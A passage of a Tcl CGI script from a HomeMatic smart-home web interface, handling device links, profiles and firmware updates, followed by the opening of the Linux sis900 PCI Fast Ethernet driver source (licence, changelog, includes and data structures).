und Beschreibung von Verknuepfung $sender_address mit $receiver_address gesetzt.\");</script>" puts "<script type=\"text/javascript\">if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogSetLinkInfoMsgSuccessA\")+\" $sender_address \"+translateKey(\"dialogSetLinkInfoMsgSuccessB\") + \" $receiver_address \" +translateKey(\"dialogSetLinkInfoMsgSuccessC\"));</script>" } proc cmd_addLink {} { global iface_url sid sidname #cgi_debug -on set iface "" set sender_address "" set sender_group "" set receiver_address "" set name "" set description "" set group_name "" set group_description "" set redirect_url "" set HmIPIdentifier "HmIP-RF" set HmIPWiredIdentifier "HmIP-Wired" catch { import iface } catch { import sender_address } catch { import sender_group } catch { import receiver_address } catch { import name } catch { import description } catch { import group_name } catch { import group_description } catch { import redirect_url } set url $iface_url($iface) set errorCode [catch { xmlrpc $url addLink [list string $sender_address] [list string $receiver_address] }] # errorCode -10 = config pending if { (! $errorCode) || ((($iface == $HmIPIdentifier) || ($iface == $HmIPWiredIdentifier)) && ($errorCode == -10)) } then { #Verkn�pfung erfolgreich angelegt. Namen und Beschreibungen noch nicht gesetzt. set ret 1 if { $description != "" || $name != "" } then { if { [catch { xmlrpc $url setLinkInfo [list string $sender_address] [list string $receiver_address] [list string $name] [list string $description] } ] } then { #Verkn�pfung erfolgreich angelegt. Name und Beschreibung der ersten Verkn�pfung konnte nicht gesetzt werden. set ret -2 } else { #Verkn�pfung erfolgreich angelegt. Name und Beschreibung der ersten Verkn�pfung erfolgreich gesetzt. set ret 2 } } if { $group_description != "" || $group_name != "" } then { if { [catch { xmlrpc $url setLinkInfo [list string $sender_group] [list string $receiver_address] [list string $group_name] [list string $group_description] } ] } then { #Verkn�pfung erfolgreich angelegt. Name und Beschreibung der zweiten Verkn�pfung konnte nicht gesetzt werden. set ret -3 } else { #Verkn�pfung erfolgreich angelegt. Name und Beschreibung der zweiten Verkn�pfung erfolgreich gesetzt. set ret 3 } } } else { set ret -1 } #puts "<script type=\"text/javascript\">var ConfigPendingFrm = AddLinkSuccessForm('$iface', '$sender_address', '$receiver_address', '$sidname', '$sid', '$redirect_url');</script>" #puts "<script type=\"text/javascript\">if (ProgressBar) ProgressBar.IncCounter(\"Verknuepfung wurde angelegt.\");</script>" puts "<script type=\"text/javascript\">if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogCreateLinkSuccessProgressBar\"));</script>" cmd_ShowConfigPendingMsg } proc cmd_ShowConfigPendingMsg {} { global iface_url sid sidname dev_descr_sender array set ise_CHANNELNAMES "" ise_getChannelNames ise_CHANNELNAMES set HmIPIdentifier "HmIP-RF" set HmIPGroupID "HM-CC-VG" set VirtualDevicesID "VirtualDevices" set iface "" set sender_address "" set receiver_address "" set redirect_url "" set go_back "false" catch { import iface } catch { import sender_address } catch { import receiver_address } catch { import redirect_url } catch { import go_back } set url $iface_url($iface) #SENDER================================================================ set sender_has_configpending 0 catch { array set dev_descr_sender [xmlrpc $url getDeviceDescription [list string $sender_address]] if {$dev_descr_sender(PARENT) == ""} then { #Ger�teadresse �bergeben set sender_type $dev_descr_sender(TYPE) set sender_parent $sender_address } else { #Kanaladresse �bergeben set sender_type $dev_descr_sender(PARENT_TYPE) set sender_parent $dev_descr_sender(PARENT) } if { [catch { set sendername $ise_CHANNELNAMES($iface;$sender_address)} ] } then { #ise kennt Ger�t nicht. Das hat nur Auswirkung auf den vollen Namen. #set sendername "Unbenanntes Ger&auml;t" set sendername "\${lblUnknownDevice}" } array set valueset_sender [xmlrpc $url getParamset [list string $sender_parent:0] [list string VALUES]] set sender_configpending [expr {$valueset_sender(CONFIG_PENDING)?"1":"0"} ] set sender_has_configpending 1 } #====================================================================== #RECEIVER============================================================== set receiver_has_configpending 0 catch { array set dev_descr_receiver [xmlrpc $url getDeviceDescription [list string $receiver_address]] if {$dev_descr_receiver(PARENT) == ""} then { #Ger�teadresse �bergeben set receiver_type $dev_descr_receiver(TYPE) set receiver_parent $receiver_address } else { #Kanaladresse �bergeben set receiver_type $dev_descr_receiver(PARENT_TYPE) set receiver_parent $dev_descr_receiver(PARENT) } if { [catch { set receivername $ise_CHANNELNAMES($iface;$receiver_address)} ] } then { #ise kennt Ger�t nicht. Das hat nur Auswirkung auf den vollen Namen. #set receivername "Unbenanntes Ger&auml;t" set receivername "\${lblUnknownDevice}" } array set valueset_receiver [xmlrpc $url getParamset [list string $receiver_parent:0] [list string VALUES]] set receiver_configpending [expr {$valueset_receiver(CONFIG_PENDING)?"1":"0"} ] set receiver_has_configpending 1 } #====================================================================== #puts "<script type=\"text/javascript\">if (ProgressBar) ProgressBar.IncCounter(\"ConfigPending-PopUp wird angezeigt.\");</script>" puts "<script type=\"text/javascript\">" if {$iface == $VirtualDevicesID && (([string range $receiver_type 0 7] == $HmIPGroupID) || ([string range $receiver_type 0 7] == $HmIPGroupID)) } { puts "var data = '{ \"virtualDeviceSerialNumber\" : \"$sender_address\" }';" puts "CreateCPPopup(\"/pages/jpages/group/configureDevices\", data);" } else { puts "try \{" puts " ConfigPendingFrm.ResetTable();" puts "\} catch (e) \{" puts " ConfigPendingFrm = new ConfigPendingMsgBox(800, 600);" puts "\}" if { $sender_has_configpending == 1 } then { puts "ConfigPendingFrm.ShowConfigPending('$iface', '$sender_address', '[cgi_quote_html $sendername]', '$sender_type', parseInt($sender_configpending), parseInt(-1), ConfigPendingFrm.CONFIGPENDING_SENDER);" } else { puts "ConfigPendingFrm.SetDevice('$iface', '$sender_address', ConfigPendingFrm.CONFIGPENDING_SENDER);" } if { $receiver_has_configpending == 1 } then { puts "ConfigPendingFrm.ShowConfigPending('$iface', '$receiver_address', '[cgi_quote_html $receivername]', '$receiver_type', parseInt($receiver_configpending), parseInt(-1), ConfigPendingFrm.CONFIGPENDING_RECEIVER);" } else { puts "ConfigPendingFrm.SetDevice('$iface', '$receiver_address', ConfigPendingFrm.CONFIGPENDING_RECEIVER);" } puts "ConfigPendingFrm.setReturnURL('$sidname', '$sid', '$redirect_url', $go_back);" puts "ConfigPendingFrm.show();" } puts "</script>" } proc cmd_activateLinkParamset {} { global iface_url set sender_address "" set receiver_address "" set iface "" catch { import iface } catch { import sender_address } catch { import receiver_address } set url $iface_url($iface) if { [catch { xmlrpc $url activateLinkParamset [list string $receiver_address] [list string $sender_address] [list bool 0] } ] } then { #puts "<script type=\"text/javascript\">ShowErrorMsg(\"[cgi_quote_html "Das Profil konnte nicht ausgel�st werden. Sorgen Sie dazu bitte daf�r, dass sich das Ger�t innerhalb der Funkreichweite befindet und aktiv ist."]\");</script>" puts "<script type=\"text/javascript\">ShowErrorMsg(translateKey(\"dialogActivateLinkParamsetError\"));</script>" } else { #puts "<script type=\"text/javascript\">ShowInfoMsg(\"[cgi_quote_html "Das Profil wurde erfolgreich ausgel�st."]\");</script>" puts "<script type=\"text/javascript\">ShowInfoMsg(translateKey(\"dialogActivateLinkParamsetSuccess\"));</script>" } } proc getFwUpdateError {errorKey result} { # result looks like the following: # Fault received on xmlrpc call updateFirmware({"XYZ0004711"}) # faultCode=-1 # faultString=Bootloader in device XYZ0004711 didn't start # this will extract the given errorKey (faultCode or faultString) set errorCode [string range $result [expr [string first $errorKey $result]+ [string length $errorKey]] [string length $result]] set lineFeedPos [string first "\n" $errorCode ] if {$lineFeedPos == -1} { set lineFeedPos [string length $errorCode] } return [string range $errorCode 0 $lineFeedPos] } proc cmd_firmware_update {} { global iface_url set iface "" set address "" set HmIPIdentifier "HmIP-RF" set HmIPWiredIdentifier "HmIP-Wired" set HmIPDRAPIdentifier "HmIP-DRAP" set HmIPHAPIdentififier "HmIP-HAP" catch { import iface } catch { import address } set url $iface_url($iface) array set devDescr [xmlrpc $url getDeviceDescription [list string $address]] if {($iface != $HmIPIdentifier) && ($iface != $HmIPWiredIdentifier)} { catch {xmlrpc $url updateFirmware [list string $address]} result } else { # HmIP device catch {xmlrpc $url installFirmware [list string $address]} result } puts "<script type=\"text/javascript\">if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogFirmwareUpdateCheckSuccess\"));</script>" if { $result == 1 } then { set hapOrDrapDate [ expr {[string equal $devDescr(TYPE) $HmIPDRAPIdentifier] == 1 || [string equal $devDescr(TYPE) $HmIPHAPIdentififier] == 1} ] if {$hapOrDrapDate == 1 } { #This is for HAP and DRAP updates, which must be treated differently #Since the update was started successfully and the update is performed asynchronously, we need to check for the update state here #States UP_TO_DATE, LIVE_UP_TO_DATE and LIVE_NEW_FIRMWARE_AVAILABLE (negative case) cause an exit of wait loop. In addion there is a timeout of 10.5 minutes (crRFD has 10 minutes). cgi_javascript { puts "var iface = \"$iface\"," puts "address = \"$address\";" puts "var devDescr = homematic(\"Interface.getDeviceDescription\", {\"interface\": iface, \"address\": address});" puts { var fwInfoPanelElm = jQuery("#id_firmware_table_" + address), fwOverviewPageTDFirmware = jQuery("#deviceFirmware_" + address); var fw_update_rows = "<tr><td style=\"border-style:none\">"+translateKey('lblDeviceFwPerformUpdate')+"</td></tr>"; fwInfoPanelElm.html(fw_update_rows); var maxChecks = 126, // 126 Checks alle 5 Sekunden = 630 Sekunden = 10.5 Mins weil crRFD Timout liegt bei 10 Minuten numberOfChecks = 0, interval = 5000, // Check every 5 seconds updateTimer = null, messageUpdateProblem = false, firmwareUpdateFailed = false; var intervalCheckState = setInterval(function() { conInfo("Check state"); var result = homematic("Interface.getDeviceDescription", {"interface": iface, "address": address}), firmwareUpdateState = result.firmwareUpdateState, firmware = result.firmware, availableFW = result.availableFirmware; conInfo("firmwareUpdateState: " + firmwareUpdateState); switch(firmwareUpdateState) { case "LIVE_DELIVER_FIRMWARE_IMAGE": //case "LIVE_NEW_FIRMWARE_AVAILABLE": fw_update_rows = "<tr><td style=\"border-style:none\">"+translateKey('lblDeviceFwPerformUpdate')+"</td></tr>"; fwInfoPanelElm.html(fw_update_rows); conInfo("case LIVE_DELIVER_FIRMWARE_IMAGE"); break; case "UP_TO_DATE": case "LIVE_UP_TO_DATE": case "LIVE_NEW_FIRMWARE_AVAILABLE": conInfo("HAP-/DRAP-Update finished"); clearInterval(intervalCheckState); clearTimeout(updateTimer); updateTimer = null; conInfo("case LIVE_UP_TO_DATE,UP_TO_DATE/LIVE_NEW_FIRMWARE_AVAILABLE"); WebUI.enter(DeviceFirmwareInformation); break; } numberOfChecks++; if (numberOfChecks >= maxChecks) { clearInterval(intervalCheckState); clearTimeout(updateTimer); updateTimer = null; WebUI.enter(DeviceFirmwareInformation); } }, interval); } } } else { puts "<script type=\"text/javascript\">" puts "ShowInfoMsg(translateKey(\"dialogFirmwareUpdateSuccess\"));" puts "if (InfoMsg) InfoMsg.OnOK = function () {InfoMsg.hide(); window.setTimeout(function() {WebUI.enter(DeviceFirmwareInformation);},100); }" puts "</script>" } } else { # The errorCode is the error as an integer as returned from the xmlrpc call 'updateFirmware' and can be -1, -2 and so on # errorCode -1 = Device not reachable # errorCode -2 = Invalid access point, device or channel # errorCode -3 = Unknown Parametset # errorCode -5 = Invalid parameter or value # errorCode -10 = Legacy API says 'Transmission Pending' set errorCode [getFwUpdateError "faultCode=" $result] set userHint "dialogFirmwareUpdateUnknownError" if {$errorCode == -1 || $errorCode == -10} { set userHint "fwUpdatePressSystemKey" } # The errorString is the error in plain text as returned from the xmlrpc call 'updateFirmware' set errorString [getFwUpdateError "faultString=" $result] if {$errorCode == -1} { # puts "<script type=\"text/javascript\">ShowErrorMsg(\"$errorString\" + \"<br/><br/>\" + translateKey(\"dialogFirmwareUpdateFailed\") +\"<br/><br/>\"+ translateKey(\"$userHint\"));</script>" puts "<script type=\"text/javascript\">ShowErrorMsg(translateKey(\"dialogFirmwareUpdateFailed\") +\"<br/><br/>\"+ translateKey(\"$userHint\"));</script>" } else { cgi_javascript { # puts "ShowInfoMsg('$errorString' + '<br/><br/>' + translateKey('$userHint'));" puts "ShowInfoMsg(translateKey('$userHint'));" # This is for the HmIP-SWSD if {[string equal $devDescr(TYPE) "HmIP-SWSD"] == 1} { puts "var iface = \"$iface\"," puts "address = \"$address\";" puts "var devDescr = homematic(\"Interface.getDeviceDescription\", {\"interface\": iface, \"address\": address});" puts { var fwInfoPanelElm = jQuery("#id_firmware_table_" + address), fwOverviewPageTDFirmware = jQuery("#deviceFirmware_" + address); var firmwareUpdateState = devDescr.firmwareUpdateState, firmware = devDescr.firmware, availableFW = devDescr.availableFirmware; // Zeige "Ger�t nicht erreichbar, dr�cke Konfig-Button" und pr�fe 5 Minuten lang, ob sich der Status �ndert. //�ndert sich der Status nicht, zeige wieder den Update-Button, //�ndert sich der Status, starte entsprechende Aktion // Zeige initial Config Pending if (firmwareUpdateState == "READY_FOR_UPDATE") { fwInfoPanelElm.html("<tr><td style=\"border-style:none\">"+translateKey('lblPressSystemButton')+"</td></tr>"); } else { fwInfoPanelElm.html("<tr><td></td></tr>"); } var maxChecks = 60, // 60 Checks alle 5 Sekunden = 300 Sekunden = 5 Mins numberOfChecks = 0, interval = 5000, // Check every 5 seconds timeForReInclusion = 60000, // One minute updateTimer = null, messageUpdateProblem = false, firmwareUpdateFailed = false; var intervalCheckState = setInterval(function() { conInfo("Check state"); // Hole devDescr des Ger�tes var result = homematic("Interface.getDeviceDescription", {"interface": iface, "address": address}), firmwareUpdateState = result.firmwareUpdateState, firmware = result.firmware, availableFW = result.availableFirmware; conInfo("firmwareUpdateState: " + firmwareUpdateState); switch (firmwareUpdateState) { case "READY_FOR_UPDATE": // As long as the user didn't press the config button of the SWSD the firmwareUpdateState is "READY_FOR_UPDATE" fw_update_rows = "<tr><td style=\"border-style:none\">"+translateKey('lblPressSystemButton')+"</td></tr>"; fwInfoPanelElm.html(fw_update_rows); break; case "DO_UPDATE_PENDING": case "PERFORMING_UPDATE": // This shouldn't last very long - some seconds maximum. if (!updateTimer) { // Timer, which shows a message after one minute that the update wasn't successful. updateTimer = setTimeout(function() { messageUpdateProblem = true; homematic("Interface.setMetadata_crRFD", { 'interface': 'HmIP-RF', 'objectId' : address + ":1", 'dataId' : 'smokeTestDone', 'value' : false }); MessageBox.show(translateKey("dialogHint"),translateKey("hintReInclusionDetectorFailed"),function(){ messageUpdateProblem = false; clearTimeout(updateTimer); updateTimer = null; firmwareUpdateFailed = true; }, 400, 80); },timeForReInclusion); } if (InfoMsg) { InfoMsg.hide(); } if (firmwareUpdateFailed == true) { fw_update_rows = "<tr><td class=\"CLASS22006\">"+translateKey('dialogFirmwareUpdateFailed')+"</td></tr>"; fw_update_rows += "<tr id=\"swsdHintCheckDevice\"><td colspan=\"2\"><span class=\"attention\">"+translateKey("checkSmokeDetectorSelfTest")+"</span></td></tr>"; } else { fw_update_rows = "<tr><td class=\"_CLASS22006 noBorder\">"+translateKey('lblDeviceFwPerformUpdate')+"</td></tr>"; } fwInfoPanelElm.html(fw_update_rows); break; case "UP_TO_DATE": // Firmware successful delivered - Show actual firmware, clear the updateTimer and stop checking. clearTimeout(updateTimer); updateTimer = null; if (messageUpdateProblem) { MessageBox.close(); } if (InfoMsg) { InfoMsg.hide(); } fw_update_rows = "<tr><td>"+translateKey('lblFirmwareVersion')+"</td><td class=\"CLASS22006\">"+firmware+"</td></tr>"; fw_update_rows += "<tr id=\"swsdHintCheckDevice\"><td colspan=\"2\"><span class=\"attention\">"+translateKey("checkSmokeDetectorSelfTest")+"</span></td></tr>"; if (fwOverviewPageTDFirmware.length == 1) { // This is the firmware overview page fwOverviewPageTDFirmware.text(firmware); fwInfoPanelElm.html(""); } else { // this is the device parameter page fwInfoPanelElm.html(fw_update_rows); } clearInterval(intervalCheckState); homematic("Interface.setMetadata_crRFD", { 'interface': 'HmIP-RF', 'objectId' : address + ":1", 'dataId' : 'smokeTestDone', 'value' : false }); MessageBox.show(translateKey("dialogHint"),translateKey("hintActivateDetectorSelfTest"),'', 400, 80); break; } numberOfChecks++; if (numberOfChecks >= maxChecks) { clearInterval(intervalCheckState); clearTimeout(updateTimer); updateTimer = null; if (messageUpdateProblem) { MessageBox.close(); } if (InfoMsg) { InfoMsg.hide(); } var fw_update_rows = ""; if (fwOverviewPageTDFirmware.length != 1) { // this is the device parameter page // Show the normal fwInfoPanelElm (Version: xxx, available Version and Update Button) fw_update_rows += "<tr><td>"+translateKey('lblFirmwareVersion')+"</td><td class=\"CLASS22006\">"+firmware+"</td></tr>" + "<tr><td>"+translateKey('lblAvailableFirmwareVersion')+"</td><td class=\"CLASS22006\">"+availableFW+"</td></tr>"; } // This is for the firmware overview page AND the device parameter page (Update Button) fw_update_rows += "<tr><td colspan=\"2\" class=\"CLASS22007\" style=\"border-style:none\"><span onclick=\"FirmwareUpdate();\" class=\"CLASS21000\">"+translateKey('lblUpdate')+"</span></td></tr>"; fwInfoPanelElm.html(fw_update_rows); } }, interval); } } } } } } proc set_internalKeys {status address iface pnr} { # status must be 0 or 1 # 0 = internal keys not visible # 1 = internal keys visible global iface_url set url $iface_url($iface) set master_addr [string toupper [string range $address 0 [expr [string first ":" $address] -1] ]] set internal_keys_visible "{INTERNAL_KEYS_VISIBLE {bool $status}}" puts "[xmlrpc $url putParamset [list string $master_addr] [list string MASTER] [list struct $internal_keys_visible]]" set ui_hint "{UI_HINT {string $pnr}}" puts "[xmlrpc $url putParamset [list string $address] [list string $address] [list struct $ui_hint]]" } proc cmd_set_profile {} { global iface_url sender_address USERPROFILESPATH env set iface "" set address "" set peer "" set ps_type "" set paramid "" set pnr "" set HmIPIdentifier "HmIP-RF" set HmIPWiredIdentifier "HmIP-Wired" catch { import iface } catch { import address } catch { import peer } catch { import ps_type } catch { import paramid } catch { import pnr } catch { import new_profilepath } ;# handelt es sich um die neue Profilstruktur? # wenn interne Ger�tetaste? if {! [catch {import internalKey}] } then { ## set_internalKeys 1 $address $iface $pnr ## after 1500 } if { $paramid != "" && [file exists easymodes/$paramid.tcl] } then { catch {source easymodes/$new_profilepath.tcl} # Kanal aus der Senderadresse entfernen, aus EDD0001234:1 wird EDD0001234 set sender_ad [lindex [split $peer ":"] 0] set USERPROFILEFILE $USERPROFILESPATH/$new_profilepath-$sender_ad.tcl catch {source $USERPROFILEFILE} } set ret [base_put_profile $iface $address $pnr $peer $ps_type 0] puts "<script type=\"text/javascript\">" if {$ret == -1 && (($iface != $HmIPIdentifier) && ($iface != $HmIPWiredIdentifier))} then { #Kein ConfigPending anzeigen nach dem Laufbalken (sinnlos, weil keine �bertragung erfolgte): puts "ProgressBar.OnFinish = function () \{ return; \}" #puts "if (ProgressBar) ProgressBar.IncCounter(\"Fehler beim Speichern des Profils $address mit $peer.\");" puts "if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogSetProfileErrorProgressBarA\") + \"$address\" + translateKey(\"dialogSetProfileErrorProgressBarB\") + \"$peer.\");" #puts "ShowErrorMsg(\"[cgi_quote_html "Das Profil konnte nicht gespeichert werden."]\");" puts "ShowErrorMsg(translateKey(\"dialogSetProfileMsgError\"));" } else { #puts "if (ProgressBar) ProgressBar.IncCounter(\"Profil gespeichert von $address mit $peer.\");" puts "if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogSetProfileSuccessProgressBarA\")+ \" $address \" +translateKey(\"dialogSetProfileSuccessProgressBarB\") + \" $peer.\");" } puts "</script>" # wenn interne Ger�tetaste? if {! [catch {import internalKey}] } then { #after 1500 ## set_internalKeys 0 $address $iface $pnr ## after 3000 } } proc cmd_set_team {} { global iface_url catch {import iface} catch {import address} catch {import TEAM} set url $iface_url($iface) if {$TEAM == "_RESET_"} then {set TEAM ""} puts "<script type=\"text/javascript\">" xmlrpc $url setTeam [list string $address] [list string $TEAM] puts "if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogSetTeamSuccessProgressBar\"));" puts "</script>" } proc cmd_determineParameter {} { #cgi_debug -on global iface_url set iface "" set address "" set ps_id "" set param_id "" catch { import iface } catch { import address } catch { import ps_id } catch { import param_id } catch { import html_inputelem_id } puts "<script type=\"text/javascript\">" if { [catch { xmlrpc $iface_url($iface) determineParameter [list string $address] [list string $ps_id] [list string $param_id] }] } then { #puts "if (ProgressBar) ProgressBar.IncCounter(\"Parameter konnte nicht bestimmt werden!\");" puts "if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogDetermineParameterProgressBarError\"));" #puts "ShowErrorMsg(\"Der Parameter konnte nicht bestimmt werden.\");" puts "ShowErrorMsg(translateKey(\"dialogDetermineParameterMsgError\"));" } else { #puts "if (ProgressBar) ProgressBar.IncCounter(\"Parameter wurde bestimmt!\");" puts "if (ProgressBar) ProgressBar.IncCounter(translateKey(\"dialogDetermineParameterProgressBarSuccess\"));" #puts "ShowInfoMsg(\"Der Parameter wurde erfolgreich bestimmt.\");" puts "ShowInfoMsg(translateKey(\"dialogDetermineParameterMsgSuccess\"));" #Neuen Wert auslesen----- set newval "" catch { array set ps [xmlrpc $iface_url($iface) getParamset [list string $address] [list string $ps_id]] set newval $ps($param_id) } if {$newval != ""} then { puts "SetInputValue('$html_inputelem_id', '$newval');" catch {puts "SetInputValue('$html_inputelem_id' + '_tmp', '$newval');"} #INTEGER- und FLOAT-Input-Elemente m�ssen mit onkeyup in das eigentliche Daten-Input-Element �bertragen werden. catch {puts "document.getElementById('$html_inputelem_id').onkeyup;"} catch {puts "document.getElementById('$html_inputelem_id' + '_tmp' ).onkeyup;"} } else { #Wert konnte nicht bestimmt werden. puts "reloadPage();" } } puts "</script>" } proc cmd_SendInternalKeyPress {} { global iface_url catch {import iface} catch {import sender} catch {import receiver} catch {import longKeyPress} set simLongKeyPress "false" catch { if {[info exists longKeyPress] == 1} { if {$longKeyPress == 1} { set simLongKeyPress "true" } } } if {[catch {xmlrpc $iface_url($iface) activateLinkParamset [list string $receiver] [list string $sender] [list bool $simLongKeyPress]}]} then { set error "<div class=\"CLASS20700\">\${dialogSimulateKeyPressError}</div>" puts "<script type=\"text/javascript\">MessageBox.show('\${dialogHint}','$error' ,'', 400, 80);</script>" } else { set success "<div class=\"CLASS20700\">\${dialogSimulateKeyPressSuccess}</div>" puts "<script type=\"text/javascript\">MessageBox.show('\${dialogHint}','$success' ,'', 420, 40);</script>" } } proc cmd_unknowncmd {cmd} { #puts "<script type=\"text/javascript\">alert('Fehler. Unbekannter Befehl: $cmd');</script>" puts "<script type=\"text/javascript\">alert(translateKey('errorMessageUnknownCommand') +' $cmd');</script>" } cgi_eval { cgi_input catch { import cmd } if {[session_requestisvalid 0] > 0} then { html { head { put_meta_nocache puts "<title>response of request with command: $cmd</title>" } body { puts "<script src=\"/config/js/ic_common.js\" type=\"text/javascript\"></script>" cmd_$cmd } } } }
{ "pile_set_name": "Github" }
/* sis900.c: A SiS 900/7016 PCI Fast Ethernet driver for Linux. Copyright 1999 Silicon Integrated System Corporation Revision: 1.08.10 Apr. 2 2006 Modified from the driver which is originally written by Donald Becker. This software may be used and distributed according to the terms of the GNU General Public License (GPL), incorporated herein by reference. Drivers based on this skeleton fall under the GPL and must retain the authorship (implicit copyright) notice. References: SiS 7016 Fast Ethernet PCI Bus 10/100 Mbps LAN Controller with OnNow Support, preliminary Rev. 1.0 Jan. 14, 1998 SiS 900 Fast Ethernet PCI Bus 10/100 Mbps LAN Single Chip with OnNow Support, preliminary Rev. 1.0 Nov. 10, 1998 SiS 7014 Single Chip 100BASE-TX/10BASE-T Physical Layer Solution, preliminary Rev. 1.0 Jan. 18, 1998 Rev 1.08.10 Apr. 2 2006 Daniele Venzano add vlan (jumbo packets) support Rev 1.08.09 Sep. 19 2005 Daniele Venzano add Wake on LAN support Rev 1.08.08 Jan. 22 2005 Daniele Venzano use netif_msg for debugging messages Rev 1.08.07 Nov. 2 2003 Daniele Venzano <[email protected]> add suspend/resume support Rev 1.08.06 Sep. 24 2002 Mufasa Yang bug fix for Tx timeout & add SiS963 support Rev 1.08.05 Jun. 6 2002 Mufasa Yang bug fix for read_eeprom & Tx descriptor over-boundary Rev 1.08.04 Apr. 25 2002 Mufasa Yang <[email protected]> added SiS962 support Rev 1.08.03 Feb. 1 2002 Matt Domsch <[email protected]> update to use library crc32 function Rev 1.08.02 Nov. 30 2001 Hui-Fen Hsu workaround for EDB & bug fix for dhcp problem Rev 1.08.01 Aug. 25 2001 Hui-Fen Hsu update for 630ET & workaround for ICS1893 PHY Rev 1.08.00 Jun. 11 2001 Hui-Fen Hsu workaround for RTL8201 PHY and some bug fix Rev 1.07.11 Apr. 2 2001 Hui-Fen Hsu updates PCI drivers to use the new pci_set_dma_mask for kernel 2.4.3 Rev 1.07.10 Mar. 1 2001 Hui-Fen Hsu <[email protected]> some bug fix & 635M/B support Rev 1.07.09 Feb. 9 2001 Dave Jones <[email protected]> PCI enable cleanup Rev 1.07.08 Jan. 8 2001 Lei-Chun Chang added RTL8201 PHY support Rev 1.07.07 Nov. 29 2000 Lei-Chun Chang added kernel-doc extractable documentation and 630 workaround fix Rev 1.07.06 Nov. 7 2000 Jeff Garzik <[email protected]> some bug fix and cleaning Rev 1.07.05 Nov. 6 2000 metapirat<[email protected]> contribute media type select by ifconfig Rev 1.07.04 Sep. 6 2000 Lei-Chun Chang added ICS1893 PHY support Rev 1.07.03 Aug. 24 2000 Lei-Chun Chang ([email protected]) modified 630E equalizer workaround rule Rev 1.07.01 Aug. 08 2000 Ollie Lho minor update for SiS 630E and SiS 630E A1 Rev 1.07 Mar. 07 2000 Ollie Lho bug fix in Rx buffer ring Rev 1.06.04 Feb. 11 2000 Jeff Garzik <[email protected]> softnet and init for kernel 2.4 Rev 1.06.03 Dec. 23 1999 Ollie Lho Third release Rev 1.06.02 Nov. 23 1999 Ollie Lho bug in mac probing fixed Rev 1.06.01 Nov. 16 1999 Ollie Lho CRC calculation provide by Joseph Zbiciak ([email protected]) Rev 1.06 Nov. 4 1999 Ollie Lho ([email protected]) Second release Rev 1.05.05 Oct. 29 1999 Ollie Lho ([email protected]) Single buffer Tx/Rx Chin-Shan Li ([email protected]) Added AMD Am79c901 HomePNA PHY support Rev 1.05 Aug. 7 1999 Jim Huang ([email protected]) Initial release */ #include <linux/module.h> #include <linux/moduleparam.h> #include <linux/kernel.h> #include <linux/sched.h> #include <linux/string.h> #include <linux/timer.h> #include <linux/errno.h> #include <linux/ioport.h> #include <linux/slab.h> #include <linux/interrupt.h> #include <linux/pci.h> #include <linux/netdevice.h> #include <linux/init.h> #include <linux/mii.h> #include <linux/etherdevice.h> #include <linux/skbuff.h> #include <linux/delay.h> #include <linux/ethtool.h> #include <linux/crc32.h> #include <linux/bitops.h> #include <linux/dma-mapping.h> #include <asm/processor.h> /* Processor type for cache alignment. */ #include <asm/io.h> #include <asm/irq.h> #include <asm/uaccess.h> /* User space memory access functions */ #include "sis900.h" #define SIS900_MODULE_NAME "sis900" #define SIS900_DRV_VERSION "v1.08.10 Apr. 2 2006" static const char version[] __devinitconst = KERN_INFO "sis900.c: " SIS900_DRV_VERSION "\n"; static int max_interrupt_work = 40; static int multicast_filter_limit = 128; static int sis900_debug = -1; /* Use SIS900_DEF_MSG as value */ #define SIS900_DEF_MSG \ (NETIF_MSG_DRV | \ NETIF_MSG_LINK | \ NETIF_MSG_RX_ERR | \ NETIF_MSG_TX_ERR) /* Time in jiffies before concluding the transmitter is hung. */ #define TX_TIMEOUT (4*HZ) enum { SIS_900 = 0, SIS_7016 }; static const char * card_names[] = { "SiS 900 PCI Fast Ethernet", "SiS 7016 PCI Fast Ethernet" }; static DEFINE_PCI_DEVICE_TABLE(sis900_pci_tbl) = { {PCI_VENDOR_ID_SI, PCI_DEVICE_ID_SI_900, PCI_ANY_ID, PCI_ANY_ID, 0, 0, SIS_900}, {PCI_VENDOR_ID_SI, PCI_DEVICE_ID_SI_7016, PCI_ANY_ID, PCI_ANY_ID, 0, 0, SIS_7016}, {0,} }; MODULE_DEVICE_TABLE (pci, sis900_pci_tbl); static void sis900_read_mode(struct net_device *net_dev, int *speed, int *duplex); static const struct mii_chip_info { const char * name; u16 phy_id0; u16 phy_id1; u8 phy_types; #define HOME 0x0001 #define LAN 0x0002 #define MIX 0x0003 #define UNKNOWN 0x0 } mii_chip_table[] = { { "SiS 900 Internal MII PHY", 0x001d, 0x8000, LAN }, { "SiS 7014 Physical Layer Solution", 0x0016, 0xf830, LAN }, { "SiS 900 on Foxconn 661 7MI", 0x0143, 0xBC70, LAN }, { "Altimata AC101LF PHY", 0x0022, 0x5520, LAN }, { "ADM 7001 LAN PHY", 0x002e, 0xcc60, LAN }, { "AMD 79C901 10BASE-T PHY", 0x0000, 0x6B70, LAN }, { "AMD 79C901 HomePNA PHY", 0x0000, 0x6B90, HOME}, { "ICS LAN PHY", 0x0015, 0xF440, LAN }, { "ICS LAN PHY", 0x0143, 0xBC70, LAN }, { "NS 83851 PHY", 0x2000, 0x5C20, MIX }, { "NS 83847 PHY", 0x2000, 0x5C30, MIX }, { "Realtek RTL8201 PHY", 0x0000, 0x8200, LAN }, { "VIA 6103 PHY", 0x0101, 0x8f20, LAN }, {NULL,}, }; struct mii_phy { struct mii_phy * next; int phy_addr; u16 phy_id0; u16 phy_id1; u16 status; u8 phy_types; }; typedef struct _BufferDesc { u32 link; u32 cmdsts; u32 bufptr; } BufferDesc; struct sis900_private { struct pci_dev * pci_dev; spinlock_t lock; struct mii_phy * mii; struct mii_phy * first_mii; /* record the first mii structure */ unsigned int cur_phy; struct mii_if_info mii_info; struct timer_list timer; /* Link status detection timer. */ u8 autong_complete; /* 1: auto-negotiate complete */ u32 msg_enable; unsigned int cur_rx, dirty_rx; /* producer/comsumer pointers for Tx/Rx ring */ unsigned int cur_tx, dirty_tx; /* The saved address of a sent/receive-in-place packet buffer */ struct sk_buff *tx_skbuff[NUM_TX_DESC]; struct sk_buff *rx_skbuff[NUM_RX_DESC]; BufferDesc *tx_ring; BufferDesc *rx_ring; dma_addr_t tx_ring_dma; dma_addr_t rx_ring_dma; 